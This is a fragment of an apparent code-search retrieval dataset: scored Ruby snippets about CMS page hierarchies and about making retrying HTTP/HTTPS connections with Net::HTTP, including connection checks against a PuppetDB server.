"text": "def subpages_for_menu\n if subpages.blank?\n Page.where(:published => true, :show_in_menu => true, :parent_id => parent_id) unless parent_id.blank?\n else\n subpages.where(:published => true, :show_in_menu => true)\n end\n end",
"title": ""
},
{
"docid": "7ce6a317e5694b6654e14e61ce206240",
"score": "0.6121074",
"text": "def subpages_for_menu\n if subpages.blank?\n Page.where(:published => true, :show_in_menu => true, :parent_id => parent_id) unless parent_id.blank?\n else\n subpages.where(:published => true, :show_in_menu => true)\n end\n end",
"title": ""
},
{
"docid": "09b5d24cfa788cb1775b58073627e27e",
"score": "0.612107",
"text": "def ancestor_pages options={}\n if parent_page\n parent_page.ancestor_pages(options) + [parent_page(options)]\n else\n []\n end\n end",
"title": ""
},
{
"docid": "89aee45ac3ebe85ca27469f5bf107523",
"score": "0.6120079",
"text": "def find_page_by_full_path(name)\n path = parse_page_name(name)\n page = Page.first\n for i in (0...path.size)\n page = page.subpages.find_by name: path[i]\n end\n return page\nend",
"title": ""
},
{
"docid": "6bfee84fb022d90fb04d9103353531fb",
"score": "0.6109931",
"text": "def children()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "6de71ec8f176e7a3169bbe0c3d556e79",
"score": "0.61062133",
"text": "def pages\n self.mounting_point.pages\n end",
"title": ""
},
{
"docid": "21ed3a04ba3b181508c00700727c0a2a",
"score": "0.61040395",
"text": "def read_pages\n add_projects_as_namespaces\n\n pages.each do |row_page|\n build_page(row_page)\n end\n titles.uniq!\n revisions.sort! { |a,b| a.time <=> b.time }\n\n revisions\n end",
"title": ""
},
{
"docid": "2ecca04e83e414a2a1d9593a7a013d88",
"score": "0.60969704",
"text": "def pages(treeish = nil)\n treeish ||= 'master'\n if commit = @repo.commit(treeish)\n tree_list(commit)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "600f12e3bdb2cd4485b24b75d6206621",
"score": "0.6092428",
"text": "def pages\n files.map { |f| Page[f, self] }.compact\n end",
"title": ""
},
{
"docid": "9bd083d506a60da400fb1ab817085e44",
"score": "0.60890025",
"text": "def fetch_entries(context)\n @current_page = context.registers[:page]\n\n children = (case @source\n when 'site' then context.registers[:site].pages.root.minimal_attributes.first # start from home page\n when 'parent' then @current_page.parent || @current_page\n when 'page' then @current_page\n else\n context.registers[:site].pages.fullpath(@source).minimal_attributes.first\n end).children_with_minimal_attributes.to_a\n\n children = children.delete_if { |p| !include_page?(p) }\n end",
"title": ""
},
{
"docid": "a7195603ce5a266eae55b0622b767b07",
"score": "0.6086328",
"text": "def children\n self.class.where(\"path ~ ?\", child_path)\n end",
"title": ""
},
{
"docid": "ba9d97797b8573e4108b22b837df33ac",
"score": "0.6058552",
"text": "def all_subpages\n subpages.map { |p| [p, p.all_subpages] }\n end",
"title": ""
},
{
"docid": "e4f20e5336d0bf38f015a134e629a499",
"score": "0.6056676",
"text": "def pages\n @pages.map { |name,| name }\n end",
"title": ""
},
{
"docid": "7278b3d482db7d9254760d2a920d1657",
"score": "0.605531",
"text": "def children\n self.class.cis_from_query(\"&parent=#{id}\")\n end",
"title": ""
},
{
"docid": "cdd2680c42dd02fc55350cce41a49905",
"score": "0.6051327",
"text": "def pages\n\t\t@pages = Admin::GeneralPages.all\n\tend",
"title": ""
},
{
"docid": "14dc192a6e6b03e50eaf428fa635edf2",
"score": "0.6047347",
"text": "def page_tree(initial_page) \n page_tree ||= Hash.new\n begin\n base_path=if initial_page.is_a? String\n base_path\n elsif initial_page.is_a? ContentPage\n initial_page.page_path\n else\n nil\n end #if\n\n raise if base_path.nil?\n base_path=base_path+'/' if base_path[-1..-1]!='/' #if it doesn't finishes with '/' we add it\n pages=ContentPage.find(:all,:select=>'page_path,title,page_template',\n :conditions=>['page_path like ?',\"#{base_path}%\"],:order=>'page_template')\n i_len=base_path.size \n pages.each do |page|\n path=page.page_path[i_len..-1]\n \n if page.page_template.blank?\n template=page_tree[page_template]\n end\n end \n rescue Exception\n #we rescue all exceptions just for error/flow control\n end\n return page_tree\n end",
"title": ""
},
{
"docid": "b556b2a7554a2d4be653979db5941032",
"score": "0.60233945",
"text": "def index\n @parents = Parent.paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "4869e29b81b2a162ddf1511755193a87",
"score": "0.6021842",
"text": "def find_page_in_branch(cname)\n Template.find_by(code_name: cname.singularize).tap {|t| t || return\n (descendants.where(template_id: t.id) if cname == cname.pluralize).tap {|r| r ||= []\n return r.empty? ? ancestors.find_by(template_id: t.id) : r}}\n end",
"title": ""
},
{
"docid": "71e4a4c346ee76e2d09c9166b5c71511",
"score": "0.59981054",
"text": "def direct_children\n self.class.find(:all, :conditions => \"#{scope_condition} AND #{parent_column} = #{self.id}\")\n end",
"title": ""
},
{
"docid": "f8c21e2b90d18ad8a1beb01a24dd484d",
"score": "0.599347",
"text": "def all\n @@pages\n end",
"title": ""
},
{
"docid": "fb4eb359749949aecf05abe1f96161b5",
"score": "0.59855026",
"text": "def extra_pages\n @pages = Page.all :conditions => \"event_id = \" + Event.active_event.id.to_s + \" and parent_id is null\", :order => \"label asc\"\n extra = ''\n @pages.each do |page|\n unless !page.published? or !page.show_on_menu?\n if page.menu?\n link = '<li class=\"dropdown\"><a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\" role=\"button\" aria-haspopup=\"true\" aria-expanded=\"false\">' + page.label + ' <span class=\"caret\"></span></a><ul class=\"dropdown-menu\">'\n @sub_pages = Page.all :conditions => \"event_id = \" + Event.active_event.id.to_s + \" and parent_id = \" + page.id.to_s, :order => \"label asc\"\n @sub_pages.each do |sub_page|\n if sub_page.link.blank?\n sublink = link_to(sub_page.label, sub_page)\n else\n sublink = link_to(sub_page.label, sub_page.link)\n end\n link += '<li>' + sublink + '</li>'\n end\n link += \"</ul>\"\n extra += link\n else\n if page.link.blank?\n link = link_to(page.label, page)\n else\n link = link_to(page.label, page.link)\n end\n\n if (page.published? and page.show_on_menu?)\n extra += '<li>' + link + '</li>'\n end\n end\n end\n end\n extra\n end",
"title": ""
},
{
"docid": "ae624b779eb0c58aa27b8e866fc5240b",
"score": "0.5984567",
"text": "def each_page\n select_all(\"SELECT * FROM `pages` WHERE `url` LIKE '/%'\") do |row|\n yield MudPie::Page.new(self, row)\n end\n end",
"title": ""
},
{
"docid": "3110148e68df6f0ef749749ffea50d15",
"score": "0.5983525",
"text": "def visible_root_pages\n if user_can?('modify')\n \tPage.all(:conditions => [\"parent_id is null and website_id = ?\" ,@website.id ], :order => \"position\")\n elsif user_can?('view_unpublished')\n Page.find_by_sql([\"SELECT DISTINCT(p.name), p.parent_id, p.slug, p.page_type_id, p.position from pages p LEFT JOIN revisions r ON p.id = r.page_id WHERE p.parent_id is null AND p.website_id = ? AND p.page_type_id = ? ORDER BY p.position\", @website.id , true ])\n else\n \tPage.find_by_sql([\"SELECT DISTINCT(p.name), p.parent_id, p.slug, p.page_type_id, p.position from pages p LEFT JOIN revisions r ON p.id = r.page_id WHERE p.parent_id is null AND p.website_id = ? AND p.page_type_id = ? AND r.published = ? ORDER BY p.position\",@website.id , 1, true ])\n end\n end",
"title": ""
},
{
"docid": "634c451b01b7a8192d853364bdff1f89",
"score": "0.5978485",
"text": "def findPages\n pages = []\n\n if (@width < @height)\n # only one page layout\n pages << Page.new(self, @data, @width, @height, @options)\n else\n # landscape => probably two page layout\n vp = Projection.new(self, Projection::VERTICAL)\n vp.delete_small!\n #vp.join_adjacent!\n vp.highlight.display if $DISPLAY\n boxes = vp.to_boxes.sort_by{|b| b.width}.reverse\n\n p1, p2 = boxes[0,2]\n if p2 and (p2.width >= (p1.width-2*@min_content_size))\n lp, rp = p1.left<p2.left ? [p1,p2] : [p2,p1]\n split_x = (lp.right + rp.left) / 2\n point = nil\n boxes[2..-1].each do |b|\n next if b.left<lp.right or b.right>rp.left\n point = b if point==nil or b.height>point.height\n end\n split_x = point.middle[0] if point\n pages << Page.new(self, cut(0, 0, split_x, @height), split_x, @height, @options)\n pages << Page.new(self, cut(split_x, 0, @width, @height), @width-split_x, @height, @options)\n pages[0].position[:right] = pages[1].position[:left] = split_x.to_f/@width\n else\n # one page layout\n pages << Page.new(self, @data, @width, @height, @options)\n end\n end\n\n pages\n end",
"title": ""
}
] |
9bfd796e28f9a95d5a60f3cb40bb7b43
|
Utility method; attempts to make an http/https connection to the puppetdb server. This is abstracted out into a method so that it can be called multiple times for retry attempts.
|
[
{
"docid": "b95ec62e84cc037a4741817945c7c9da",
"score": "0.7399313",
"text": "def attempt_connection\n # All that we care about is that we are able to connect successfully via\n # http(s), so here we're simpling hitting a somewhat arbitrary low-impact URL\n # on the puppetdb server.\n\n if Gem::Version.new(Puppet.version) >= Gem::Version.new('7.0.0')\n valid_connection_new_client?\n else\n valid_connection_old_client?\n end\n rescue StandardError => e\n log_error(e.message)\n return false\n end",
"title": ""
}
] |
[
{
"docid": "5232dd79b4d09479056585b3ebd96795",
"score": "0.7592185",
"text": "def attempt_connection\n # All that we care about is that we are able to connect successfully via\n # http(s), so here we're simpling hitting a somewhat arbitrary low-impact URL\n # on the puppetdb server.\n conn = Puppet::Network::HttpPool.http_instance(puppetdb_server, puppetdb_port, use_ssl)\n\n response = conn.get(test_path, test_headers)\n unless response.kind_of?(Net::HTTPSuccess)\n Puppet.notice \"Unable to connect to puppetdb server (http#{use_ssl ? \"s\" : \"\"}://#{puppetdb_server}:#{puppetdb_port}): [#{response.code}] #{response.msg}\"\n return false\n end\n return true\n rescue Exception => e\n Puppet.notice \"Unable to connect to puppetdb server (http#{use_ssl ? \"s\" : \"\"}://#{puppetdb_server}:#{puppetdb_port}): #{e.message}\"\n return false\n end",
"title": ""
},
{
"docid": "ca59b16807ade20434983d4bb7a91f67",
"score": "0.6998398",
"text": "def attempt_connection\n begin\n host = resource[:puppetdb_server]\n port = resource[:puppetdb_port]\n\n # All that we care about is that we are able to connect successfully via\n # https, so here we're simpling hitting a somewhat arbitrary low-impact URL\n # on the puppetdb server.\n path = \"/metrics/mbean/java.lang:type=Memory\"\n headers = {\"Accept\" => \"application/json\"}\n conn = Puppet::Network::HttpPool.http_instance(host, port, true)\n response = conn.get(path, headers)\n unless response.kind_of?(Net::HTTPSuccess)\n Puppet.err \"Unable to connect to puppetdb server (#{host}:#{port}): [#{response.code}] #{response.msg}\"\n return false\n end\n return true\n rescue Errno::ECONNREFUSED => e\n Puppet.notice \"Unable to connect to puppetdb server (#{host}:#{port}): #{e.inspect} \"\n return false\n end\nend",
"title": ""
},
{
"docid": "42c6ac30f6fe69580e268f72d0628e5d",
"score": "0.6765983",
"text": "def connect!\n @connection = Net::HTTP.new(@host, @port)\n# @connection.use_ssl = ssl?\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE if ssl?\n end",
"title": ""
},
{
"docid": "82a3d8d31f66c6617065ae295da37ba5",
"score": "0.6699345",
"text": "def connect\n @connection = Net::HTTP.new(@url, @use_ssl ? 443 : 80) \n @connection.use_ssl = @use_ssl\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE if @use_ssl\n end",
"title": ""
},
{
"docid": "302fd13f49047e1de45335954dadfd10",
"score": "0.660566",
"text": "def conn\n @conn ||= connect\n if block_given?\n yield @conn\n else\n @conn\n end\n rescue *HttpExceptions\n @conn = nil\n retry if (retried = !retried)..retried\n # raise $! # XXX decide what to do here.. probably aggregate errors to a\n # single common failure.\n end",
"title": ""
},
{
"docid": "7db25516025abc18fa9fe65e7e87b269",
"score": "0.64621913",
"text": "def connect\n site = @proxy || @dest\n retry_number = 0\n begin\n ::Timeout.timeout(@connect_timeout, ConnectTimeoutError) do\n if str = @test_loopback_http_response.shift\n @socket = create_loopback_socket(site.host, site.port, str)\n elsif https?(@dest)\n @socket = SSLSocket.create_socket(self)\n @ssl_peer_cert = @socket.peer_cert\n else\n @socket = create_socket(site.host, site.port)\n end\n @socket.sync = @socket_sync\n end\n rescue RetryableResponse\n retry_number += 1\n if retry_number < @protocol_retry_count\n retry\n end\n raise BadResponseError.new(\"connect to the server failed with status #{@status} #{@reason}\")\n rescue TimeoutError\n if @connect_retry == 0\n retry\n else\n retry_number += 1\n retry if retry_number < @connect_retry\n end\n close\n raise\n end\n @state = :WAIT\n end",
"title": ""
},
{
"docid": "be7b564c904cd6e001b08a0285b314f6",
"score": "0.64527816",
"text": "def attempt_connection\n # All that we care about is that we are able to connect successfully via\n # http(s), so here we're simpling hitting a somewhat arbitrary low-impact URL\n # on the sensu_api server.\n http = Net::HTTP.new(@sensu_api_server, @sensu_api_port)\n http.use_ssl = @use_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(@test_path)\n request.add_field(\"Accept\", \"application/json\")\n response = http.request(request)\n\n unless response.kind_of?(Net::HTTPSuccess) || response.kind_of?(Net::HTTPUnauthorized)\n Puppet.notice \"Unable to connect to sensu_api server (http#{use_ssl ? \"s\" : \"\"}://#{sensu_api_server}:#{sensu_api_port}): [#{response.code}] #{response.msg}\"\n return false\n end\n return true\n rescue Exception => e\n Puppet.notice \"Unable to connect to sensu_api server (http#{use_ssl ? \"s\" : \"\"}://#{sensu_api_server}:#{sensu_api_port}): #{e.message}\"\n return false\n end",
"title": ""
},
{
"docid": "b4e875ad00d2955597e825e009376421",
"score": "0.6427746",
"text": "def connect!\n @connection = Net::HTTP.new(@url.host, @url.port)\n if @ssl\n @connection.use_ssl = true\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @connection.start\n end",
"title": ""
},
{
"docid": "b4e875ad00d2955597e825e009376421",
"score": "0.6427746",
"text": "def connect!\n @connection = Net::HTTP.new(@url.host, @url.port)\n if @ssl\n @connection.use_ssl = true\n @connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @connection.start\n end",
"title": ""
},
{
"docid": "58db0924899313914b220c12d0ff6c9c",
"score": "0.63352275",
"text": "def create_connection(url)\n uri = URI.parse(url)\n tcp = TCPSocket.new(uri.host, uri.port)\n\n $sock = nil\n log = Logger.new(-1)\n\n if uri.scheme == 'https'\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n ctx.npn_protocols = [DRAFT]\n ctx.npn_select_cb = lambda do |protocols|\n puts \"NPN protocols supported by server: #{protocols}\"\n DRAFT if protocols.include? DRAFT\n end\n\n ctx.alpn_protocols = [DRAFT]\n\n $sock = OpenSSL::SSL::SSLSocket.new(tcp, ctx)\n $sock.sync_close = true\n $sock.hostname = uri.hostname\n $sock.connect\n\n if $sock.npn_protocol != DRAFT && $sock.alpn_protocol != DRAFT\n puts \"Failed to negotiate #{DRAFT} via NPN/ALPN\"\n return nil\n end\n else\n $sock = tcp\n end\n\n $conn = HTTP2::Client.new\n\n $conn.on(:frame) do |bytes|\n $sock.print bytes\n $sock.flush\n end\n\n $conn.on(:frame_sent) do |frame|\n log.info \"Sent: #{frame.inspect}\"\n end\n\n $conn\nend",
"title": ""
},
{
"docid": "3718ec3fef0d3219a831ef9147de828e",
"score": "0.6303412",
"text": "def start_http(server,path,port,scheme,headers) # :nodoc:\n\n tries = @retries\n time = 3\n\n if (@http[server].nil?)\n begin\n @http[server] = Net::HTTP::Proxy(@proxy_host, @proxy_port).new(server,port)\n if scheme == \"https\"\n @http[server].use_ssl = true\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @http[server].start\n rescue\n puts \"Can't connect to the server: #{tries} tries to reconnect\" if @is_debug\n sleep time += 1\n retry unless (tries -= 1) <= 0\n raise OpenStack::Exception::Connection, \"Unable to connect to #{server}\"\n end\n end\n end",
"title": ""
},
{
"docid": "2fdf5a20ab0681d74f3108b24d95e0d3",
"score": "0.62893146",
"text": "def connect!\n @http = Net::HTTP.new(@uri.host, @uri.port)\n if secure?\n @http.use_ssl = true\n if self.class.ca_path\n @http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n @http.ca_path = self.class.ca_path\n else\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n end\n end",
"title": ""
},
{
"docid": "f15e84504c0ac168be87bfbdad62861b",
"score": "0.6182321",
"text": "def connect\n http = Net::HTTP.new(@server, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n return http\n end",
"title": ""
},
{
"docid": "532652940ebb78165c377662720df517",
"score": "0.6165363",
"text": "def retrying_http_errors(url)\n http_attempts = 0\n begin\n loop do\n http_attempts += 1\n response, request, return_value = yield\n # handle HTTP 50X Error\n if response.is_a?(Net::HTTPServerError) && !Chef::Config.local_mode\n if http_retry_count - http_attempts >= 0\n sleep_time = 1 + (2**http_attempts) + rand(2**http_attempts)\n Chef::Log.warn(\"Server returned error #{response.code} for #{url}, retrying #{http_attempts}/#{http_retry_count} in #{sleep_time}s\") # Updated from error to warn\n sleep(sleep_time)\n redo\n end\n end\n return [response, request, return_value]\n end\n rescue SocketError, Errno::ETIMEDOUT, Errno::ECONNRESET => e\n if http_retry_count - http_attempts >= 0\n Chef::Log.warn(\"Error connecting to #{url}, retry #{http_attempts}/#{http_retry_count}\") # Updated from error to warn\n sleep(http_retry_delay)\n retry\n end\n e.message.replace \"Error connecting to #{url} - #{e.message}\"\n raise e\n rescue Errno::ECONNREFUSED\n if http_retry_count - http_attempts >= 0\n Chef::Log.warn(\"Connection refused connecting to #{url}, retry #{http_attempts}/#{http_retry_count}\") # Updated from error to warn\n sleep(http_retry_delay)\n retry\n end\n raise Errno::ECONNREFUSED, \"Connection refused connecting to #{url}, giving up\"\n rescue Timeout::Error\n if http_retry_count - http_attempts >= 0\n Chef::Log.warn(\"Timeout connecting to #{url}, retry #{http_attempts}/#{http_retry_count}\") # Updated from error to warn\n sleep(http_retry_delay)\n retry\n end\n raise Timeout::Error, \"Timeout connecting to #{url}, giving up\"\n rescue OpenSSL::SSL::SSLError => e\n if (http_retry_count - http_attempts >= 0) && !e.message.include?(\"certificate verify failed\")\n Chef::Log.warn(\"SSL Error connecting to #{url}, retry #{http_attempts}/#{http_retry_count}\") # Updated from error to warn\n sleep(http_retry_delay)\n retry\n end\n raise OpenSSL::SSL::SSLError, \"SSL Error connecting to #{url} - #{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "66b55d2545de1167668b22170231f61d",
"score": "0.61588156",
"text": "def setup_conn\n\n ## Setup connection through the @conn instance variable and proxy if\n ## if given.\n @conn = Net::HTTP.new(@params[:addr], @params[:port],\n @params[:proxy_addr], @params[:proxy_port],\n @params[:proxy_user], @params[:proxy_pass]\n )\n setup_ssl\n ## Set timeouts\n @conn.open_timeout = @params[:timeout]\n @conn.read_timeout = @params[:timeout]\n end",
"title": ""
},
{
"docid": "0399bd08715ddbd2d4cd2290b835a628",
"score": "0.61549425",
"text": "def connect\n if url\n PG::Connection.new(url, {:sslmode => sslmode})\n else\n PG::Connection.new({:host => host, :port => port, :user => user, :password => password, :sslmode => sslmode, :dbname => dbname})\n end\n end",
"title": ""
},
{
"docid": "164fb2bf29f03b8448309401acec9256",
"score": "0.6154104",
"text": "def connect\n uri \t\t\t\t\t\t\t= URI.parse(@server)\n http \t= Net::HTTP.new(uri.host, uri.port)\n http.use_ssl \t = true\n http.verify_mode \t= OpenSSL::SSL::VERIFY_NONE\n return http\n end",
"title": ""
},
{
"docid": "73add26be4579e4e56d5a4bfaf2618dd",
"score": "0.6119087",
"text": "def connect\n http = Net::HTTP.new @base_uri.host, @base_uri.port\n http.use_ssl = @base_uri.scheme == 'https'\n http.start\n http\n end",
"title": ""
},
{
"docid": "e4e239611b8e5765ba83422cb104f88a",
"score": "0.6074251",
"text": "def testConnection(ibox_ip, ibox_port, user, password)\n require 'net/http'\n require 'uri'\n ws = 'http://' + ibox_ip + ':' + ibox_port\n url = URI.parse(ws)\n ret = true\n begin\n http = Net::HTTP.new(url.host, url.port) \n http.open_timeout = 3\n http.read_timeout = 3\n response = http.start do |https|\n https.request_get(url.path + '/cgi-bin/Get.cgi?get=SET')\n end\n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError, Errno::ECONNREFUSED,Errno::EHOSTUNREACH,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError,SocketError => e\n ret = false\n end\n ret\n end",
"title": ""
},
{
"docid": "01674f009187460f9c227fd1640d748b",
"score": "0.6054438",
"text": "def connect!\n port = has_ssl ? 443 : 80\n @connection = Net::HTTP.new(\"#{@organization.subdomain}.harvestapp.com\", port)\n @connection.use_ssl = has_ssl\n @connection.verify_mode = OpenSSL::SSL::VERIFY_PEER\n end",
"title": ""
},
{
"docid": "10a2bfc81c115a3d3edf50a382762ffe",
"score": "0.6035583",
"text": "def set_up_connection # :doc:\n uri = URI.parse(config.host)\n @http = Net::HTTP.new(uri.host, uri.port, p_user = config.proxy_user, p_pass = config.proxy_pass)\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n @http.use_ssl = config.use_ssl\n if config.ssl_verify_peer\n @http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n @http.ca_file = config.ssl_ca_file\n else\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @http.open_timeout = config.timeout\n @http.read_timeout = config.timeout\n end",
"title": ""
},
{
"docid": "8065bb42f2060a67ff8fae0ed7f9524c",
"score": "0.60213864",
"text": "def start_http(server, path, port, scheme, headers) # :nodoc:\n\n tries = @retries\n time = 3\n\n if (@http[server].nil?)\n begin\n @http[server] = Net::HTTP::Proxy(@proxy_host, @proxy_port).new(server, port)\n if scheme == 'https'\n @http[server].use_ssl = true\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # use the ca_cert if were given one, and make sure we verify!\n if ! @ca_cert.nil?\n @http[server].ca_file = @ca_cert\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_PEER\n end\n\n # explicitly set the SSL version to use\n @http[server].ssl_version= @ssl_version if ! @ssl_version.nil?\n end\n @http[server].start\n rescue\n puts \"Can't connect to the server: #{tries} tries to reconnect\" if @is_debug\n sleep time += 1\n retry unless (tries -= 1) <= 0\n raise OpenStack::Exception::Connection, \"Unable to connect to #{server}\"\n end\n end\n end",
"title": ""
},
{
"docid": "efb75f525a41799e282eb7b908940bc1",
"score": "0.6001941",
"text": "def get_connection\n if @use_proxy\n #proxy = ::Net::HTTP::Proxy(@proxy_host, @proxy_port, @proxy_user, @proxy_pass)\n http=Net::HTTP.new(\"api.elsevier.com\", nil, @proxy_host, @proxy_port, @proxy_user, @proxy_pass)\n else\n http=Net::HTTP.new(\"api.elsevier.com\")\n end\n http.use_ssl=true\n http.ssl_version = :TLSv1_2\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http\n\n end",
"title": ""
},
{
"docid": "ee940538e9baa8416597fc2a957bd03e",
"score": "0.5995131",
"text": "def with_connection\n attempts = 1\n begin \n open_socket_and_ssl_if_needed\n yield\n rescue StandardError, Errno::EPIPE\n close_socket_and_ssl\n return unless attempts < @retries\n attempts += 1\n retry\n end\n end",
"title": ""
},
{
"docid": "8a0a8c72bd95520765c43ba95e4691c8",
"score": "0.5967311",
"text": "def get_http_connection(url)\n http = Net::HTTP.new(url.host, (url.port || url.inferred_port))\n if (url.scheme == \"https\")\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n http\n end",
"title": ""
},
{
"docid": "8a0a8c72bd95520765c43ba95e4691c8",
"score": "0.5967311",
"text": "def get_http_connection(url)\n http = Net::HTTP.new(url.host, (url.port || url.inferred_port))\n if (url.scheme == \"https\")\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n http\n end",
"title": ""
},
{
"docid": "1e446d66c57826b518bfe454da9900b5",
"score": "0.59449637",
"text": "def run_http_test\n retries = 0\n begin\n timeout(MAX_REQUEST_TIME) do\n Net::HTTP.get_response(URI.parse(@url)) do |http_response|\n if http_response.class == Net::HTTPOK # HTTPSuccess?\n @response_body = http_response.body\n else\n @error = \"HTTP response code #{http_response.code}\"\n end\n end\n end\n rescue TimeoutError\n # hey if this times out, any chance we leave a socket connection dangling?\n retry if (1..MAX_REQUEST_RETRIES) === (retries += 1)\n rescue Exception => e # SocketError\n @error = \"Connection failed: #{e}\"\n end\n if !retries.zero?\n if @response_body.nil?\n @error = \"Request timed out #{retries-1} time(s) (more than #{MAX_REQUEST_TIME}s each time)\"\n else\n # @warning = \"Request took #{retries} retries\" # don't warn about this: happens too often\n end\n end\n end",
"title": ""
},
{
"docid": "592deaa754cea3fcaad4e5da16b7b11a",
"score": "0.59333616",
"text": "def prepare_http(opts)\n\n compute_proxy opts\n\n http = Net::HTTP.new(\n opts[:host], opts[:port],\n opts[:proxy_host], opts[:proxy_port],\n opts[:proxy_user], opts[:proxy_pass])\n\n set_timeout http, opts\n\n return http unless opts[:scheme].to_s == 'https'\n\n require 'net/https'\n\n http.use_ssl = true\n http.enable_post_connection_check = true \\\n if http.respond_to?(:enable_post_connection_check=)\n\n http.verify_mode = if o(opts, :ssl_verify_peer)\n OpenSSL::SSL::VERIFY_PEER\n else\n OpenSSL::SSL::VERIFY_NONE\n end\n\n store = OpenSSL::X509::Store.new\n store.set_default_paths\n http.cert_store = store\n\n http\n end",
"title": ""
},
{
"docid": "c21fa9df697e02165cb5db0733f3e680",
"score": "0.5903496",
"text": "def connect!\n initialize! do\n # Apply ssl wrapper and perform handshake.\n ssl_socket = OpenSSL::SSL::SSLSocket.new(@socket, context)\n ssl_socket.sync_close = true\n ssl_socket.connect\n\n # Perform peer cert validation if needed.\n if verifying_certificate?\n unless OpenSSL::SSL.verify_certificate_identity(ssl_socket.peer_cert, host)\n raise Mongo::SocketError, 'SSL handshake failed due to a hostname mismatch.'\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3451b7d6c2e913c787b08ad0336814c8",
"score": "0.58952814",
"text": "def check_connection\n one_wait = 5\n max_wait = 5\n request = Net::HTTP::Get.new('/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@url.host, @url.port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy, \n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy, \n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n puts(\"-- ERROR: couldn't connect to test host on \" + @url.host.to_s)\n return false\n end\n puts(\"-- SUCCESS: test host is alive !\\n\")\n return true\nend",
"title": ""
},
{
"docid": "b15005df4c7033b72074d6cfb74e7cf5",
"score": "0.58610564",
"text": "def connect\n uri = URI.parse('https://edis.usitc.gov/')\n http = net_http_class.new(uri.host, uri.port)\n http.use_ssl = true \n http.read_timeout = @config[:timeout] and http\n end",
"title": ""
},
{
"docid": "ef5edb37f12460b366ff471da1e91c8d",
"score": "0.58566505",
"text": "def protocol(url)\n begin\n puts \"trying http://#{url}\"\n\n response = HTTParty.get(\"http://#{url}\")\n return 'http' if response.success?\n\n puts \"trying https://#{url}\"\n\n response = HTTParty.get(\"https://#{url}\", verify: false)\n return 'https' if response.success?\n\n raise \"unable to determine protocol\"\n end\nend",
"title": ""
},
{
"docid": "48472e42641edf0e640d61fe57ecb903",
"score": "0.58445215",
"text": "def wait_and_open\n info \"Attempting to connect to the web site...\"\n Http.head \"http://127.0.0.1:9292/\"\n rescue Errno::ECONNREFUSED\n sleep(0.5)\n retry if (self.try += 1) < max\n info \"Server not found, sorry.\"\n raise\n else\n Launchy.open(\"http://127.0.0.1:9292/\")\n end",
"title": ""
},
{
"docid": "de0b862bcaaae947e7a02d530fd60b20",
"score": "0.58429426",
"text": "def check_protocols\n # https://github.com/igrigorik/http-2/blob/master/example/client.rb\n\n uri = @server.url\n tcp = TCPSocket.new(uri.host, uri.inferred_port)\n sock = nil\n npn_server_protocols = alpn_server_protocols = nil\n\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\n \n ctx.npn_protocols = ['h2', \"spdy/3\", \"spdy/2\", \"http/1.1\"]\n \n ctx.npn_select_cb = lambda do |protocols|\n #puts \"NPN protocols supported by server: #{protocols}\"\n #DRAFT if protocols.include? DRAFT\n npn_server_protocols = protocols\n end\n\n ctx.alpn_protocols = ['h2', \"spdy/3\", \"spdy/2\", \"http/1.1\"]\n ctx.alpn_select_cb = lambda do |protocols|\n alpn_server_protocols = protocols \n end\n\n sock = OpenSSL::SSL::SSLSocket.new(tcp, ctx)\n sock.sync_close = true\n sock.hostname = uri.hostname\n begin\n sock.connect\n rescue => e\n #puts \"Error : #{e.inspect}\"\n end\n\n if npn_server_protocols\n @result.passed(\"SSL: Suports SPDY (#{npn_server_protocols.grep(/spdy/).join(', ')})\") if npn_server_protocols.grep(/spdy/)\n @result.passed(\"SSL: Suports HTTP/2 (#{npn_server_protocols.grep(/h2/).join(', ')})\") if npn_server_protocols.grep(/h2/)\n npn_server_protocols.select {|p| p =~ /^h2-/ }.each do |pr|\n @result.passed(\"SSL: Supports HTTP/2 Draft #{pr[/h2-(.*)/, 1]}\")\n end \n else\n @result.warned(\"SSL: No support for SPDY or HTTP/2\")\n end\n\n if alpn_server_protocols\n puts \"Need to work with alpn_server_protocols: #{alpn_server_protocols}\"\n end\n \n #sock.context.npn_protocols\n #puts \"NPN: #{npn_server_protocols}\"\n sock.close\n\n end",
"title": ""
},
{
"docid": "17c628960efb3303f35116beeecf74f9",
"score": "0.58295095",
